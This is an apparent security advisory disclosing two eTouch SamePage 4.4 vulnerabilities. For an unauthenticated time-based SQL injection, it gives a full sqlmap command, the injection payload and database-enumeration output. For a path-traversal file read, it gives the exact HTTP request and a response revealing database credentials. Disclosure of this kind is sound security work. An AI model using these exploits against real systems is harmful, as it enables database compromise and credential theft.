eTouch SamePage 4.4.0.0.239 – Multiple Vulnerabilities
eTouch SamePage v4.4.0.0.239 multiple vulnerabilities http://www.etouch.net/products/samepage/index.html Enterprise trial was installed in an Ubuntu virtual machine with MySQL. By default, the listening port is 18080. Required on the Ubuntu machine to install the SamePage binary successfully: sudo apt-get install libstdc++6:i386 libc6:i386 libXext6:i386 mysql-server Trial available here: http://support.etouch.net/cm/wiki/?id=8889 ——— Unauthenticated time-based SQL injection in /cm/blogrss/feed servlet The following URL is vulnerable to a time-based SQL injection in the catId parameter: http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600 Exploitation with sqlmap: Brandons-iMac:sqlmap bperry$ ./sqlmap.py -u "http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600" --dbms=mysql -p catId --level=5 --risk=3 -o --technique=t --time-sec=10 --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-fd632e5} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 19:08:19 [19:08:19] [INFO] testing connection to the target URL [19:08:19] [INFO] heuristics detected web page charset 'ascii' [19:08:19] [INFO] testing NULL connection to the target URL [19:08:19] [INFO] NULL connection is supported with HEAD header sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Parameter: catId (GET) Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: entity=mostviewedpost&analyticsType=blog&catId=-1) AND 6412=BENCHMARK(10000000,MD5(0x73764b7a)) AND (3198=3198&count=10&et_cw=850&et_ch=600 --- [19:08:19] [INFO] testing MySQL [19:08:19] [INFO] confirming MySQL [19:08:19] [INFO] the back-end DBMS is MySQL web application technology: JSP back-end DBMS: MySQL >= 5.0.0 [19:08:19] [INFO] fetching database names [19:08:19] [INFO] fetching number of databases [19:08:19] [INFO] resumed: 4 [19:08:19] [INFO] resumed: information_schema [19:08:19] [INFO] resumed: mysql [19:08:19] [INFO] resumed: performance_schema [19:08:19] [INFO] resumed: samepage available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] samepage [19:08:19] [INFO] fetched data logged to text files under '/Users/bperry/.sqlmap/output/192.168.1.25' [*] shutting down at 19:08:19 Brandons-iMac:sqlmap bperry$ ——— Authenticated arbitrary file read via /cm/newui/blog/export.jsp The following authenticated GET request will read the cm.xml file from the web server installation directory, which contains the database credentials. While authentication is required, by default, creating a user using the user sign-up page is simple. Request: GET /cm/newui/blog/export.jsp?filepath=../conf/Catalina/localhost/cm.xml&start=true&et_cw=350&et_ch=100 HTTP/1.1 Host: 192.168.1.22:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.22:8080/cm/newui/blog/export.jsp?pkey=64616d73657373696f6e696468616c6c61626f6c6c613b313432323331333135393433341422313179983&blogalias=fdsaffd&blogdesc=fdsafdsafdsa&starttime=1422313179983&start=true Cookie: JSESSIONID=8D2B23DCF68ACD2623B390942E71F2E5; c_wiki_browser=1 Connection: keep-alive Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Disposition: attachment; filename=cm.xml Content-Type: application/zip Content-Length: 864 Date: Tue, 27 Jan 2015 00:42:53 GMT <Context path="/cm" docBase="../../cm" debug="0" reloadable="false" crossContext="true" autodeploy="true"> <Resource name="CMPOOL" auth="Container" type="com.atomikos.jdbc.nonxa.NonXADataSourceBean" factory="org.apache.naming.factory.BeanFactory" uniqueResourceName="CMPOOL" driverClassName="com.mysql.jdbc.Driver" user="root" password="password" poolSize="10" validatingQuery ="SELECT 1" url="jdbc:mysql://localhost:3306/samepage" /> <Transaction factory="com.atomikos.icatch.jta.UserTransactionFactory" /> <Resource name="UserTransaction" auth="Container" type="javax.transaction.UserTransaction" factory="com.atomikos.icatch.jta.UserTransactionFactory" /> <Resource name="TransactionManager" auth="Container" type="com.atomikos.icatch.jta.UserTransactionManager" factory="org.apache.naming.factory.BeanFactory" /> </Context> |